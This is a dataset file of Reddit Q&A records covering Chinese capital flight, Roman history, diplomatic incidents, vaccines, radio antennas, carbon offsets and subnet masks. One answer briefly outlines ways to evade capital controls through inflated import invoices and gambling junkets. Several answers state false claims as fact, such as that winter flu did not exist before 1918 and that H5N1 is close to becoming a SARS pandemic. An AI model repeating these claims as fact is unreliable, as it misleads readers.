{"q_id": "3s193f", "title": "how do rich chinese transfer money out of china?", "selftext": "I heard china places restrictions on how much you can transfer out so many take other approaches.  \n\nWhat are underground banks?\n\nWhat is smurfing?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3s193f/eli5how_do_rich_chinese_transfer_money_out_of/", "answers": {"a_id": ["cwt52wk", "cwt7yh4"], "score": [5, 5], "text": ["There are various ways but two I'm familiar are:\n\nFake businesses.  I import something from the US and overpay for it in dollars. For simplicity, I set up a fake \"designer\" jeans company in the US or find a friend who owns one.  I pay him $1,000 per $10 Jean I buy and import to China. I sell the jeans in China and whatever price.  I have now moved my 1,000 out of China. \n\nThe other way that was recently shut down was through gambling junkets.  Chinese companies were running a scheme where you pay them to bring you to Vegas to gamble.  It's illegal to move a lot money out of China so these companies would lend you dollars in Vegas to \"gamble\" with.  Gamblers reported huge losses, kept the US dollars in US accounts then repaid the junkets in Chinese money when they got home.  \n\nWsj ran a huge expose on these Chinese junkets if you wanna know more. ", "More legitimate than the other options listed, purchasing real estate in stable US markets is a way to expatriate money. Markets such as Carmel, CA were largely insulated from the real estate crash in 2008 because of cash flowing from China, buoying prices."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4jgwpk", "title": "Did Gnaeus Pompeius Magnus have a cognomen prior to \"Magnus\"? If so, what was it?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4jgwpk/did_gnaeus_pompeius_magnus_have_a_cognomen_prior/", "answers": {"a_id": ["d36sq9s"], "score": [3], "text": ["His father held the cognom 'Strabo,' which means 'cross eyed' (Pothecary,1999). As his father was a relative new comer to the higher tiers of the gens Pompeia, they may not yet have acquired a particular familia epithet/cognom, and held them in the traditional sense of being named for a characteristic or deed. I would assert that he did not take up the name of Strabo, and he acquired 'Magnus' at a relatively young age (Plutarch, Pompey) as his only cognom."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ygqso", "title": "Does anyone know any interesting Historical diplomatic stouches and controversies?", "selftext": "I've only read about a few of these sorts of incidents, such as the Iranian embassy hostage crisis, the Libyan embassy shooting and the religious figure at the US embassy in Hungary. I'm curious about others to try to gain some perspective about how things might play out today.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/ygqso/does_anyone_know_any_interesting_historical/", "answers": {"a_id": ["c5vet59", "c5vh0uy", "c5viosu", "c5vqb40"], "score": [5, 3, 3, 2], "text": ["The Third Punic War. Rome played dirty! One of my favourite examples of diplomacy not working. \n\n___________________________________________________________\nThe bulletpoints of what happened (All times BC)\n\n* 152              Cato the Elder continuously demands Carthaginian destruction on the Senate floor. Cato noticed the trend of Carthage bouncing back from whatever destruction Rome forced upon her.\n* 152 - 151      Carthage sends ambassadors to Rome, upon arrival they hear Rome's demands; \"if the Carthaginians give satisfaction to the Romans\" war might be averted. Vague at best.\n* 151             Utica suddenly throws it support behind the Romans! Carthage's eldest ally! Imagine the shock that the Carthaginians must be feeling by now.\n* 150- 149               Rome officially declares war upon Carthage. Carthage was out more important allies. Rome could smell the underdefended riches of Carthage.\n* 149          A fleet of 50 quinqueremes and 100 smaller warships carrying 80,000 footsoldiers and 4000 horse cross the small strech of sea between Sicily and North Africa.\n* 149         A desperate Carthaginian ambassador contacts the Romans and tries to negotiate a deal. The Roman concept (deditio in fi dem) was much like the one applied to Germany and Japan in 1945. The surrendering side put itself absolutely into the other\u2019s power and must submit to whatever the victors imposed. The Carthaginians certainly knew this standard Roman practice, nor had their own habits been very different in their Greek Sicilian wars.\n* 149      Long year, I know ; < . Roman demands arrive! Now the Romans did start a cat-and-mouse game. The consuls in\nSicily fi rst required three hundred children of the city\u2019s leading\nfamilies to be handed over to them as hostages. They then sailed\nover to Utica in full strength, where the Carthaginians at their\ndemand delivered all their military stores \u2013 no fewer than 200,000\nsets of armour, 2000 pieces of artillery, and other weapons. Then\ncame a last demand: the citizens must leave their city and settle 80\nstadia, about 16 kilometres, inland. The fi gure was not realistic, for\nit would have placed a quarter of a million Carthaginians along the\ndiffi cult range of heights stretching from Tunes to the Bagradas. It\nreally meant any distance that the Romans would judge convenient,\nleaving the city to be plundered and demolished.\n\n\nUnacceptable.\n\n*\" Carthage exploded with anger and outrage, vividly recorded by\nAppian. The unfortunate envoys who came back to report the\nultimatum were lynched by furious crowds, as were senators who\nhad urged appeasement. Resident Italians were manhandled or\nkilled. On the same day, the adirim declared war, freed the slaves in\nthe city, and sent an appeal for aid to the recently-condemned\nHasdrubal \u2013 now commanding 30,000 troops in the countryside and\nprobably shadowing Masinissa. The other Hasdrubal, Masinissa\u2019s\ngrandson, was elected general too and took command in the city.\nTemples and squares became ad hoc weapons workshops; women\ncut off their hair to make cords for catapults. The Romans meanwhile\nmarched down from Utica to open the siege. Masinissa, it seems,\nretired to Cirta to watch. \"* \n\nGood news!\n\n*\"The siege of Carthage lasted three years. Her 23 Roman miles (34\nkilometres) of walls \u2013 including the triple line across the fl at isthmus\noutside Megara \u2013 defeated repeated assaults from the isthmus, the\nsea and the lakeshore. The citizens within the walls were not\ncompletely alone. The forgiven Hasdrubal operated in the countryside\nwith his army, while Hippacra, Nepheris and Clupea-Aspis near\nCape Bon held out too. According to Appian, the Romans were\nsupported locally only by Utica and (on the east coast) Hadrumetum,\nLeptis, Thapsus and Acholla. Hasdrubal was able to send\nsupplies in to the besieged, and until the summer of 147 foreign\nmerchants could still reach the city despite the Roman blockade.\nParts of Megara itself were probably cultivated for food\"*\n\n* 148       Piso, the consul in\ncommand, spent that summer failing to capture Hippacra,\nwhile on Masinissa\u2019s death the Numidian lord Bithyas with his 800\nhorsemen joined Hasdrubal\u2019s army. Carthaginian spokesmen moved\naround Libya encouraging resistance. By now discipline in the\nbesieging army was badly deteriorating due to setbacks and poor\nleadership. What had promised to be a straightforward and profi table\nexpedition was now a war as strenuous, expensive and longlasting\nas those in Spain.\n* 148         The situation began, nevertheless, to worsen for the Carthaginians.\nThe army at Nepheris could not seriously harass Carthage\u2019s\nbesiegers. Sometime in 148 its general Hasdrubal, now in the city\nand suspicious or merely jealous of his namesake the grandson of\nMasinissa, convinced the Carthaginians that this general \u2013 despite\nhis vigorous leadership \u2013 was a traitor. Masinissa\u2019s grandson was\nbludgeoned to death by his fellow citizens. More ominously still,\nScipio\u2019s exploits during the siege gained him election as consul for 147 and the command in Africa. With him, incidentally, he brought\nhis friend Polybius the historian.\n* 147      Scipio reinvigorated the army and the siege. New fortifi ed camps\non the isthmus cut all land communications. He frightened Hasdrubal\ninto abandoning Megara, built a mole out into the sea below the\nsouthern city wall to block off the Cothon \u2013 the artifi cial ports \u2013 and\nseized the \u2018Falbe quadrilateral\u2019. A small Carthaginian fl eet, built by\nthe citizens from leftover materials in the circular port and launched\nthrough a channel secretly dug through to the sea alongside, was\npoorly led and suffered defeat. In the city Hasdrubal became virtual\ntyrant, murderously intolerant of criticism and reportedly living in\nluxury with his troops while the citizens starved. Deaths and desertions\nmounted dramatically. During the winter, Scipio attacked and\ndestroyed the army at Nepheris under its Greek (or Greek-named)\ncommander Diogenes and captured Nepheris itself, with up to\n70,000 enemy troops and civilians reportedly killed and 10,000\ntaken. All of Libya now capitulated, including the Libyphoenician\nloyalists such as Hippacra.      \n \n* 146      No more hope for Carthage ;(.In spring 146 the Romans\nlaunched the final assault.\n\n* \"Attacking first through the naval port, then over the lakeshore\nwall, they moved past the \u2018tophet\u2019 and Cothon to reach the agora\nwith its surrounding public buildings, like the senate house and the\ngolden \u2013 and instantly looted \u2013 temple of \u2018Apollo\u2019 (Reshef). Byrsa\u2019s\ncitadel, the last refuge of thousands of surviving citizens, was\nconnected to the agora by three streets lined with six-storey apartment\nhouses where many people were still trapped. Each had to be\ntaken against bitter hand-to-hand resistance on every level: assault\ntroops reaching the upper fl oors used planks to fi ght their way across\nto another while more fi ghting raged on the ground far below \u2013 a\nstruggle recalling the horrors of Dionysius\u2019 capture of Motya. Once\nhis men reached the walls of Byrsa, Scipio had all the houses along\nthese streets destroyed to clear access. \"*\n\n*\"Next day, the seventh since the assault began, Byrsa capitulated.\nThe last Carthaginians, fi fty thousand men, women and children,\ncame out to be enslaved. Hasdrubal and 900 Roman deserters held\nout in the temple of Eshmun until the general emerged, alone, to\nsurrender to Scipio. In a Dantesque scene the deserters set the temple\non fi re and hurled curses on him before perishing in the fl ames. So\ndid his own wife, who then slew their two small sons and threw both\nthem and herself into the inferno.\nScipio put the city to the torch and pronounced a solemn curse on\nany who might seek to dwell there. Polybius saw him weeping as he\nwatched Carthage\u2019s funeral pyre: the general explained that he was\nthinking that one day this could happen to Rome.\"* \n\n**And there we lost a civilisation that was and still is one the cornerstones of Western Civilization, whether people realise it or not. After beating Carthage, Aneas son's discovered the secrets of the trade and plunder based empire over the rotting bodies of Dido's children.**\n\nSources; I'm tempted to just say Dexter Hoyos. Just him. =P\nHannibals Dynasty - Dexter Hoyos\nThe Carthaginians - Dexter Hoyos\nArmies of the Carthaginian wars - Terence Wise/ Richard Hook\n", "This isn't really a violent event, or a prolonged tense even either, but it's one of my favorites. Just a funny diplomatic incident. \n\n\"On August 4, 1945, Soviet school children gave a carving of the Great Seal of the United States to U.S. Ambassador Averell Harriman. It hung in the ambassador's Moscow residential office until 1952 when the State Department discovered that it was 'bugged.'\n\nThe microphone hidden inside was passive and only activated when the Soviets wanted it to be. They shot radio waves from a van parked outside into the ambassador's office and could then detect the changes of the microphone's diaphragm inside the resonant cavity. When Soviets turned off the radio waves it was virtually impossible to detect the hidden 'bug.' The Soviets were able to eavesdrop on the U.S. ambassador's conversations for six years.\"\n\nPretty sneaky Soviets. \"They're just school children. They couldn't be KGB!\"", "A couple of instances where people sought refuge in embassies, leading to diplomatic incidents:\n\n-Ousted Honduran President Manuel Zelaya sought asylum in Brazil's embassy in Tegucigalpa in September 2009.\n\n-Chinese activist Chen Guangcheng in the US embassy in Beijing in April 2012.\n\n-Max Goeldi, a Swiss businessman who fled to the Swiss embassy in Tripoli in February 2010 after being falsly accused by the Khadaffi regime.\n\n-Dutch-Syrian children Sar and Ammar Hafez fled to the Dutch embassy in Damascus after being abducted to Syria by their father in june 2006 and could only leave Syria and the embassy 6 months later.\n", "From my area of expertise the one that stands out in my mind was called \"The Kitchen Debate.\" It was not a debate, but more of a argument between Soviet Union Leader Nikita Khrushchev and then Vice-President Richard Nixon in 1959. It happened in a \"mock\" kitchen of a normal American house at a world fair type event in Moscow. They had an extensive, and heated exchange discussing each countries industrial \"accomplishments.\" Basically a giant, super-power one-up man-ship on who's country was better because of ovens. It ended up being a huge controversy for both sides and it ended with one of my most favorite images from the Khrushchev era. \n\nKhrushchev accounted for the event in his Memoir \"Khrushchev Remembers. Part III\" and Taubman and Sergei Khrushchev covered it in their book \"Khrushchev: A Man of his Era.\" \n\nThe image is: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.museumsyndicate.com/images/6/56474.jpg"]]}
{"q_id": "3dcuhm", "title": "why are most audio captchas unintelligible and terrifying?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3dcuhm/eli5_why_are_most_audio_captchas_unintelligible/", "answers": {"a_id": ["ct3yk79"], "score": [2], "text": ["They make them unintelligible enough that a computer will have a hard time figuring it out, thus stopping bots from accessing the content protected by the captcha, while humans will be able to figure it out."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "30m29h", "title": "Why can't we/haven't we build sugar based batteries?", "selftext": "I was trying to think of how to store solar energy, and figured if plants turn it into sugar, why can't we do something similar? I have very limited knowledge of these subjects though, so I may be asking a pointless question", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/30m29h/why_cant_wehavent_we_build_sugar_based_batteries/", "answers": {"a_id": ["cptpik1"], "score": [6], "text": ["The method by which plants store  solar energy in sugar is based on enzymes and other specialized molecules. Plants (and other eukaryotes like animals and fungi) are made of large, complex cells. Some cells of the plant contain even smaller 'cells' called chloroplasts. Chloroplasts are somewhat like little, free-roaming bacteria cells that live inside the much larger plant cells. \n\nInside the chloroplasts, photosynthesis takes place. Certain molecules (pigments produced by the plant cell's enzymes) absorb light and, through a series of steps involving further enzymes and energy-transfer hijinks, ends up with the conversion of certain energy-poor molecules into energy-rich molecules, typically by forcing the creation of a unstable molecular bond that really doesn't want to exist. *Even further* enzymes use the relaxation (or popping apart back into the energy-poor state) of these unstable bonds to run other energetically unfavorable processes (like building sugar molecules). \n\nThe whole thing is an intricate system of molecular cogs. If we were to try to design a system like that from scratch, I doubt we'd even know where to begin. It's much easier to just take the current system and tweak it, and I'm not even sure if we do that.\n\nNow, if you want to *mimic* photosynthesis to gather solar energy into more usable forms... this is where the physicists and physical chemists work their magic! I hate to just link to wikipedia, but the [artificial photosynthesis](_URL_0_) page seems to be a nice review on the subject. Also, I actually found [one article](_URL_2_) that talks about a method to generate sugars using artificial photosynthesis, and it even links to [a paper](_URL_1_) that is annoyingly paywalled. I can't seem to find a follow-up to the paper though."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Artificial_photosynthesis", "http://pubs.acs.org/doi/abs/10.1021/nl100550k?journalCode=nalefd", "http://www.uc.edu/news/NR.aspx?id=11558"]]}
{"q_id": "3av6uq", "title": "Why do English speakers call Costa Rica, 'Costa Rica' and not 'Rich Coast'?", "selftext": "But we call Ivory Coast, 'Ivory Coast' not 'C\u00f4te d'Ivoire'. Same goes for Spain, Germany, Italy, etc. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3av6uq/why_do_english_speakers_call_costa_rica_costa/", "answers": {"a_id": ["csgbuj1", "csgceeq"], "score": [2, 2], "text": ["For the same reason we call Puerto Rico \"Puerto Rico\", not \"Rich Port\".\n\nThere actually is no rhyme nor reason why English names are used instead of local names in some instances, but not in others.", "hi! Hopefully someone can unravel the history of the English names \"Costa Rica\" and \"Ivory Coast\" for you, but just fyi, the question of national exonyms comes up in this sub fairly often (usually wrt \"Germany\" vs. \"Deutschland\"). Check these out:\n\n* /r/AskHistorians FAQ: [Why do countries have different names in other languages?](_URL_0_)\n\n* /r/Linguistics FAQ: [Why are our names for countries so different from what the people call their own country?](_URL_3_)\n\n* an old one with more examples [How did countries translate the names of other countries?](_URL_1_)\n\nas an aside, there have been a couple of related posts for city names\n\n* [Why do we anglicize city names? Why not call cities by the same name the cities' inhabitants use?](_URL_2_)\n\n* [Why are the German cities M\u00fcnchen and K\u00f6ln called Munich and Cologne in English?](_URL_4_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/AskHistorians/wiki/language#wiki_why_do_countries_have_different_names_in_other_languages.3F", "https://www.reddit.com/r/AskHistorians/comments/13yghc/how_did_countries_translate_the_names_of_other/", "http://www.reddit.com/r/AskHistorians/comments/24g0v7/why_do_we_anglicize_city_names_why_not_call/", "http://www.reddit.com/r/linguistics/wiki/histlingfaq#wiki_why_are_our_names_for_countries_so_different_from_what_the_people_call_their_own_country.3F", "http://www.reddit.com/r/AskHistorians/comments/2gq0j3/why_are_the_german_cities_m\u00fcnchen_and_k\u00f6ln_called/"]]}
{"q_id": "fu3m5o", "title": "A vaccine for the 2009 H1N1 virus was developed in 3 months (from when it was declared a pandemic). What is different about COVID-19 that makes the required time to develop a vaccine 12-14 months?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/fu3m5o/a_vaccine_for_the_2009_h1n1_virus_was_developed/", "answers": {"a_id": ["fmakx5b", "fmbp75d", "fmc7isr"], "score": [34, 12, 3], "text": ["H1N1 is a flu-variant and flu vaccines are developed every year. So researchers could base their work on existing flu vaccines. On the other hand, there is no such tested  &  safe vaccine on which to base the covid19 vaccine. There was some work done on a vaccine for SARS, which could be used as a starting point, but this work never led to a completed product because SARS was effectively contained and funding dried up because the need for a SARS vaccine went away.", "We already have a vaccine for Influenza, we \"Just\" update it every year.\n\nNow we have to do One basically from scratch.\n\nThis can still be done in about 3 months, but we need almost a year to test safety in humans.\n\nA vaccine has to be given to more than 90% of the population to generate herd immunity, so if if we don't catch a problem with the vaccine it would be a disaster bigger than the covid pandemic.\n\nWe cannnot skip safety tests in humans.", "The H1N1 you're referring to is an influenzavirus, and very closely related to known H1N1s. They're all descended from the Spanish Flu pandemic virus. We didn't have winter flu outbreaks before that! This means the infrastructure to update influenza virus vaccinations was already in place.\n\nSARS-CoV-2 (COVID-19 is the disease it causes) has to be done more or less from scratch. It's a betacoronoavirus, so, for example, methods to interrupt the viral genome entering the capsid are not the same as with influenza. Humans don't have many circulating coronaviruses, and no commercial vaccines against them.\n\nJust for kicks, H5N1 influenzavirus is just a few point mutations away from becoming a SARS pandemic. Dutch researchers actually created a version which would do this."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "ao8ohg", "title": "why do portable fm radios only have a strong signal when their antenna is perfectly oriented, and on a related note, why does the fm signal in your call stay strong, even when the car's moving?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ao8ohg/eli5_why_do_portable_fm_radios_only_have_a_strong/", "answers": {"a_id": ["efz2amh", "efz5kha", "efz883f", "efzfdvo", "efzk0oe", "eg28qrl"], "score": [3, 45, 5, 4, 12, 2], "text": ["I could be wrong, but I believe it has something to do with the size of antenna. Car antennas are either the big long mast, or a specially designed short mast that picks up and boosts the signal. Portable radios generally just have a short piece of cheap metal.", "I'm no radio engineer, but I know a bit about radios.\n\nRadio signals travel in waves. FM radio waves are, in general, around 6 feet (2 meters) tall. The antenna size must be a matching height to the wave, or a 1/2 wavelength, or a 1/4 wavelength, 1/8th, etc in order to best receive (\"tuned\" to) the signal.\n\nThe closer the antenna is to size of the wave, the better the performance. Little portable FM radios have little antennas, so you may need to move the antenna around. If that antenna were 6 feet tall, you probably would not have to move it around.\n\nIt's easy to focus on the brand of radio to determine quality of reception. In reality you can have the best made radio in the world, but without a proper antenna attached the fanciness of your radio ain't gonna mean squat. A radio is only as good as its antenna.\n\nFM signals can fade in and out if you're a long away from the transmission site and the signal fades. Mariners and old aircraft used to use radios to find their way. They would turn their circular-shaped antenna to zero in on the strong signal source, so they could approximate their location. FM radio is line-of-sight, so it travels further across water and to aircraft than it does on land where trees, buildings, mountains, etc can get in the way. Radio transmission towers are tall to maximize line of sight reception - the taller the source, the greater the coverage area.\n\nRadio is electromagnetic energy - just like visible light is. Radio moves at the speed of light, so there's no perceivable lull in the reception, even tho it probably does \"pulse\" receive. ", "Modern cars have omnidirectional antennas that can pick up signals from all directions.\n\nThe telescopic antennas on portable radios are pretty much garbage and receive in a kind of donut shape, with the telescopic part going through the hole of the imaginary donut.", "Radio waves have an orientation, just like when waving a jump rope. If your antenna is skewed, it \"sees\" not the waves.\n\nFM relies on frequency to carry sound (that's why it's called Frequency Modulation, instead of Amplitude Modulation). If your car moves, there can be fading in the strength of the signal, but the signal strength isn't what carries the sound. ", "The specific reason you get good reception from a car antenna but not from a portable radio is the ground plane below the antenna. Car roof made of metal is a good ground plane. Your portable radio has a much smaller built in ground plane and because of this it is less sensitive, and possibly only sensitive enough to get a good signal in one direction. Source - I am an RF engineer ", "Some terrible answers in this thread.. anyhow\n\nELI5 answer:\n\n1. Radio waves are polarised so you need to line up the orientation of your radio to match\n2. Most antennas in devices are directional, similar to an ear, you need to turn your head to maximise what you want to hear.\n3. Car radios have better antennas and more sensitive hearing so they can listen better. There's less need to angle them in a direction."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "5rn43l", "title": "why is it much easier to get our head/body parts stuck in places than it is to get them out?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5rn43l/eli5_why_is_it_much_easier_to_get_our_headbody/", "answers": {"a_id": ["dd8kn2w", "dd9ajcr"], "score": [27, 6], "text": ["Kinda for the same reason a [broadhead arrow](_URL_1_) is harder to pull out. Our heads are rounded (pointy) at top with nothing to snag but square off at our necks. coming back out you have to get past your chin and base of your neck. \n\nAlso your nose which can get hooked on things, it's easy to compress it going down the bridge but coming out it's just an edge to snag and won't compress. Same principle that makes [these things](_URL_0_) work", "If you apply pressure to a body part and cut off circulation, it swells. So the part inside the gap actually tries to get bigger when you squeeze it into something."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://d2t1xqejof9utc.cloudfront.net/screenshots/pics/2d1bb8151f167e063376a7f703f59a6c/large.JPG", "http://www.bogenloewe.de/images/BO_10204_Mittelalterliche_Jagdspitze.jpg"], []]}
{"q_id": "1qb1n8", "title": "Paper vs Styrofoam Cups?", "selftext": "For my morning coffee, what's better for me, my children's children and the plant as a whole? Yes I know a reusable mug is the best, but in just paper vs Styrofoam.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1qb1n8/paper_vs_styrofoam_cups/", "answers": {"a_id": ["cdbh8un"], "score": [3], "text": ["Anyone else remember when environmental groups pressured McDonald's to replace Styrofoam clamshells with paper wraps in the 1990s?  The wax coated paper was far less recyclable than the Styrofoam, which is easily \"cracked\" back into styrene."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6hzb6h", "title": "how does bill nye get so much credibility?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6hzb6h/eli5_how_does_bill_nye_get_so_much_credibility/", "answers": {"a_id": ["dj2c2vc", "dj2g7hg", "dj2gkie", "dj2glbi", "dj2rzqv"], "score": [24, 8, 2, 10, 2], "text": ["This one is hard to answer objectively...\n\nI think the main thing to consider is that Bill Nye made science *interesting* to an entire generation. Since he was covering simple science that we could easily validate or try for ourselves to see it was true he created trust. We could see his kid friendly diagrams and experiments and say, \"How neat!\" We would later find these things to be true in science class.\n\nHe became a household name in science, just like Stephen Hawking or Einstein. When his show was taken off the air he was remembered as being friendly, trustworthy, and knowledgeable to millions of people.\n\nThen of course he would appear on cable news channels, where anyone can appear genius when surrounded by foam-mouthed journalists. They would typically bring him on the show to talk about a part of science that the general population can easily understand (or at least be aware of). He becomes, and remains the face of science for decades.\n\nHis new show tarnishes all of this because it does not resonate with the majority anymore. (Plus, it was generally a horrible show)", "Because Bill Nye was on a popular TV show about science and the kids who grew up watching him associated his performance with real expertise.  It is the same kind of false-association that hurt the careers of actors like Adam West (Batman) and Leonard Nimoy (Spock).  Both actors portrayed iconic figures on popular TV shows, but their careers suffered for decades because their audience saw them as that one character they portrayed.  Whereas this pigeon-holing hurt West  &  Nimoy, it helped Bill Nye because it imbued him with an undeserved level of expertise that he didn't possess.  In other words, he was a bright guy, but he played an expert on TV....eventually his fans just considered him a scientist (on the same level of a Neil deGrasse Tyson) which he is not.", "Beacause the generation who grew up with him are now the majority of working adults in this country. They recognize and respect him. Dude played the long game right back into relevancy.", "He inherited it from his old self, Bill Nye the Science Guy.\n\nAnd he is burning through it like a war-torn nation burns through its cash reserves. It's a shame, because he is slowly destroying his own credibility, yet we still need people like him.", "Bill Nye used to work for an aerospace company doing engineering before his stint on television as Bill Nye the Science Guy. He has the credentials to back up his place in science. \n\nLike Carl Sagan before him, some of his lasting legacy was not in the science he did in his day job, but in the kindling of curiosity and science by teaching people and fostering an atmosphere of learning about science and motivating people to get into STEM fields. \n\nWhat people like Sagan, Nye, Tyson, and others do is to make science fun and they get people to watch their shows because it's entertaining. However entertaining it is, it is also educational and it gets people to think and see problems like a scientist would. It shares knowledge and some pretty profound ideas with children and adults alike, and fosters a passion for curiosity and learning more about the world and the universe. \n\nThis makes knowledge more easily accessible and removes some of the road blocks children and others might encounter getting into science. They take complex and profound ideas, and \"explain like I'm five\" so the rest of us can understand it. Instead of being intimidated by dry and convoluted scientific expressions and experimentation, they found a way to make it approachable and entertaining.\n\nWhen Nye was asked to head the Planetary Society, the foundation formed by Carl Sagan and like minded people, it was passing the torch from one passionate person who brought science to the masses, to another passionate person who brought science to kids and adults everywhere. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "48dio4", "title": "donating $5 to offset my carbon footprint during air travel - what exactly is that $5 doing?", "selftext": "Some airline websites will ask you to donate money to offset your carbon footprint - where is that money going and how is it offsetting my carbon footprint?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/48dio4/eli5_donating_5_to_offset_my_carbon_footprint/", "answers": {"a_id": ["d0ir2dd", "d0iun4x", "d0ixk69", "d0iy9qx"], "score": [3, 10, 122, 17], "text": ["It depends on the airline and their policies, but most likely they are going toward green research like more efficient fuel, engines and planes overall.", "Most likely 10% is going to helping the planet. The other 90% is going to paying the employees of the \"charity\", most going to the CEOs. Check out the family who scammed the public out of 280 million dollars that was supposed to be going to cancer research. ", "It depends on the airline, but most likely they are using your extra $5 to buy carbon offset credits. How these credits work, differs from country to country, but the gist is this:\n\nA company performs some sort of work that is meant to reduce greenhouse gas emissions. This might be planting trees, generating carbon-neutral energy, promoting energy efficiency, etc. This work creates carbon offset credits, which are audited and verified by some sort of authority. The authority be be a government, an industry watchdog, a reputable non-profit organization, etc. These credits are then sold on a market to either companies or individiuals.\n\nSo basically, you're helping pay for work that has already been done to reduce greenhouse gas emissions so that the savings you've paid for will assumed match the emissions that are generated as a rule of your travel.", "There was an excellent episode of Planet Money which covered this topic: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.npr.org/sections/money/2015/11/13/455941812/episode-663-money-trees"]]}
{"q_id": "d2hfgl", "title": "discovery of cell organelle structure", "selftext": "I am taking intro to Biomedical engineering this semester, and we just covered cell organelles, their structure and their function. I am wondering how it is impossible to identify and distinguish even the tiniest of cell mechanisms. Is it simply a matter of microscope power? Or is it more complicated than that? How were scientists able to breakdown incredibly particular and microscopic interactions such as, for example, that of the selective nuclear pore complex?\n\n & #x200B;\n\nTo be honest, I'm not even sure if I'm asking the right questions...", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/d2hfgl/eli5_discovery_of_cell_organelle_structure/", "answers": {"a_id": ["ezv5not"], "score": [6], "text": ["Initially, organelles were discovered using microscopes and special stains. Microscopy techniques can go a really long way to making some things more visible. For example, people did not know how many chromosomes were in human cells until the technique of soaking cells in a hypoosmotic (water goes into the cell) solution, so it expanded and the chromosomes inside spread out more. \n\nJust seeing things inside cells doesn't tell you everything, but looking to see when certain structures appear or change and what sorts of cells have each structure and in what amount can help. \n\n\nMore advanced methods include removing certain structures from cells in order to see what happens. For example, if you remove centrioles from a cell, it can no longer divide. This tells us that it is important for cell division. Under a microscope, it looks like the microtubules that help a cell divide all come from the centrioles, so a cell not being able to divide without them makes sense."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5qgq1c", "title": "what does \"/16 or /24\" after an ip address mean?", "selftext": "Hello all - I have seen the /16, /24, etc multiple times after an IP Address and I just don't understand it!  How do I know which number after the slash belongs to my home network?  Any help/guidance an explaining this would be very much appreciate!\n\nThanks in advance!\n\nEDIT 1:  Thank you everyone who replied and for not making me feel so dumb! haha  I now have a much better understanding of what this means! :)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5qgq1c/eli5what_does_16_or_24_after_an_ip_address_mean/", "answers": {"a_id": ["dcz2vfh"], "score": [13], "text": ["It is a decimal representation of your subnet mask.\n\nYour computer has an IP address. Something like:\n\n    10.1.1.2\n\nBut this address represents two things: a) your computer; and b) the local network your computer is on. And it needs a way of knowing which part is which.^* To do this it uses what is known as a subnet mask which can be represented in a number of ways. The \"slash\" notation, followed by a number, is how many 1 bits are in the subnet mask, in the case of /24, that would be 24 1 bits.\n\nRemember that computers deal in binary, so...\n\n    10.1.1.2\n\nIs actually:\n\n    00001010.00000001.00000001.00000010\n\nA subnet mask of 24 would be:\n\n    11111111.11111111.11111111.00000000\n\nEach bit of the IP address that lines up with a 1 bit in the mask is part of the network (in this case 10.1.1.x). Each bit of the IP address that lines up with a 0 bit in the mask is a host address (in this case x.x.x.2).\n\nYour computer uses this information to determine if communication is destined for the local network (and doesn't need to go through a gateway) or is destined for a remote network (and does).\n\nIn this case, everything from 10.1.1.1 to 10.1.1.254 would be considered local. All other IP addresses would be remote.\n\n\\* - Originally, they designed a scheme where IP addresses would fall into certain classes that defined which part was the network part and which part was the host part. For example, if it began with a 10, then the first octet was automatically the network part and the last three would be the host part. This turned out to be insufficient for modern networking needs, so they developed the concept of subnetworking of which the subnet(work) mask allows us to chop up the address any way we want."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
